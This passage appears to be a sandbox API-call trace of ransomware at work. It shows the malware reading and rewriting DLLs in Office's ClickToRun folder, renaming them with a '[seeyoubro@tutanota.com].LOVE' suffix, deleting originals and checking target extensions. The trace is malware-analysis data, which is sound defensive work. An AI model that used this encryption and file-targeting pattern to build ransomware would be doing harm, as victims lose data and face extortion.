lpOverlapped=0x0) returned 1 [0209.697] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.697] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xfa, lpOverlapped=0x0) returned 1 [0209.697] SetEndOfFile (hFile=0x37c) returned 1 [0209.697] CloseHandle (hObject=0x37c) returned 1 [0209.704] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.704] SetEndOfFile (hFile=0x348) returned 1 [0209.707] CloseHandle (hObject=0x348) returned 1 [0209.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.707] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString=".doc") returned 4 [0209.708] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString=".docx") returned 5 [0209.708] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0209.708] lstrlenW (lpString=".pdf") returned 4 [0209.708] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString=".xls") returned 4 [0209.708] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString=".xlsx") returned 5 [0209.708] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0209.708] lstrlenW (lpString=".ppt") returned 4 [0209.708] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString=".zip") returned 4 [0209.708] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString=".rar") returned 4 [0209.708] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.708] lstrlenW (lpString=".bz2") returned 4 [0209.708] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.708] lstrlenW (lpString=".7z") returned 3 [0209.708] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString=".dbf") returned 4 [0209.708] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString=".1cd") returned 4 [0209.708] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.708] lstrlenW (lpString=".jpg") returned 4 [0209.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString=".doc") returned 4 [0209.709] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString=".docx") returned 5 [0209.709] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0209.709] lstrlenW (lpString=".pdf") returned 4 [0209.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString=".xls") returned 4 [0209.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString=".xlsx") returned 5 [0209.709] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0209.709] lstrlenW (lpString=".ppt") returned 4 [0209.709] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString=".zip") returned 4 [0209.709] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString=".rar") returned 4 [0209.709] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.709] lstrlenW (lpString=".bz2") returned 4 [0209.709] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.709] lstrlenW (lpString=".7z") returned 3 [0209.709] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString=".dbf") returned 4 [0209.709] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString=".1cd") returned 4 [0209.709] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0209.709] lstrlenW (lpString=".jpg") returned 4 [0209.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.710] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.710] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0209.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.710] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2285736) returned 1 [0209.710] CloseHandle (hObject=0x348) returned 1 [0209.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0209.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0209.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.711] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0x0) returned 1 [0209.711] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.711] ReadFile (in: hFile=0x348, lpBuffer=0x3e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e68058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.714] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.714] ReadFile (in: hFile=0x348, lpBuffer=0x3ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ea8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.715] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.715] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.715] ReadFile (in: hFile=0x348, lpBuffer=0x3ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ee8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.998] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.999] WriteFile (in: hFile=0x348, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x315fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0210.141] SetEndOfFile (hFile=0x348) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43c1468 [0210.146] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.146] WriteFile (in: hFile=0x348, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.147] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.147] WriteFile (in: hFile=0x348, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.149] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.149] WriteFile (in: hFile=0x348, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.150] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0210.151] CloseHandle (hObject=0x348) returned 1 [0210.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0210.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.573] lstrlenW (lpString=".doc") returned 4 [0210.573] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString=".docx") returned 5 [0210.573] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0210.573] lstrlenW (lpString=".pdf") returned 4 [0210.573] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString=".xls") returned 4 [0210.573] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString=".xlsx") returned 5 [0210.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0210.573] lstrlenW (lpString=".ppt") returned 4 [0210.573] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.573] lstrlenW (lpString=".zip") returned 4 [0210.573] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString=".rar") returned 4 [0210.573] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.573] lstrlenW (lpString=".bz2") returned 4 [0210.574] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.574] lstrlenW (lpString=".7z") returned 3 [0210.574] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString=".dbf") returned 4 [0210.574] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString=".1cd") returned 4 [0210.574] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString=".jpg") returned 4 [0210.574] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString=".doc") returned 4 [0210.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString=".docx") returned 5 [0210.574] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0210.574] lstrlenW (lpString=".pdf") returned 4 [0210.574] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString=".xls") returned 4 [0210.574] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString=".xlsx") returned 5 [0210.574] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0210.574] lstrlenW (lpString=".ppt") returned 4 [0210.574] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.574] lstrlenW (lpString=".zip") returned 4 [0210.574] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.574] lstrlenW (lpString=".rar") returned 4 [0210.574] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.575] lstrlenW (lpString=".bz2") returned 4 [0210.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.575] lstrlenW (lpString=".7z") returned 3 [0210.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.575] lstrlenW (lpString=".dbf") returned 4 [0210.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.575] lstrlenW (lpString=".1cd") returned 4 [0210.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0210.575] lstrlenW (lpString=".jpg") returned 4 [0210.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.575] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0210.575] lstrlenW (lpString="C2R64.dll") returned 9 [0210.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0210.575] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1208928) returned 1 [0210.575] CloseHandle (hObject=0x348) returned 1 [0210.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0210.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0210.576] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.576] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0210.576] GetLastError () returned 0x0 [0210.576] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0210.594] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0210.652] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x27270, lpOverlapped=0x0) returned 1 [0210.729] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x27280, lpOverlapped=0x0) returned 1 [0210.732] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.732] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xe6, lpOverlapped=0x0) returned 1 [0210.732] SetEndOfFile (hFile=0x2cc) returned 1 [0210.732] CloseHandle (hObject=0x2cc) returned 1 [0210.758] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.758] SetEndOfFile (hFile=0x348) returned 1 [0210.759] CloseHandle (hObject=0x348) returned 1 [0210.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0210.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString=".doc") returned 4 [0210.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString=".docx") returned 5 [0210.760] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0210.760] lstrlenW (lpString=".pdf") returned 4 [0210.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString=".xls") returned 4 [0210.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString=".xlsx") returned 5 [0210.760] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0210.760] lstrlenW (lpString=".ppt") returned 4 [0210.760] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString=".zip") returned 4 [0210.760] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString=".rar") returned 4 [0210.760] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.760] lstrlenW (lpString=".bz2") returned 4 [0210.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.760] lstrlenW (lpString=".7z") returned 3 [0210.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString=".dbf") returned 4 [0210.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString=".1cd") returned 4 [0210.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.760] lstrlenW (lpString=".jpg") returned 4 [0210.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString=".doc") returned 4 [0210.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString=".docx") returned 5 [0210.761] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0210.761] lstrlenW (lpString=".pdf") returned 4 [0210.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString=".xls") returned 4 [0210.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString=".xlsx") returned 5 [0210.761] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0210.761] lstrlenW (lpString=".ppt") returned 4 [0210.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString=".zip") returned 4 [0210.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString=".rar") returned 4 [0210.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.761] lstrlenW (lpString=".bz2") returned 4 [0210.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.761] lstrlenW (lpString=".7z") returned 3 [0210.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString=".dbf") returned 4 [0210.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString=".1cd") returned 4 [0210.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0210.761] lstrlenW (lpString=".jpg") returned 4 [0210.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.762] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0210.762] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0210.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0210.812] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=902328) returned 1 [0210.812] CloseHandle (hObject=0x348) returned 1 [0210.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0210.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), 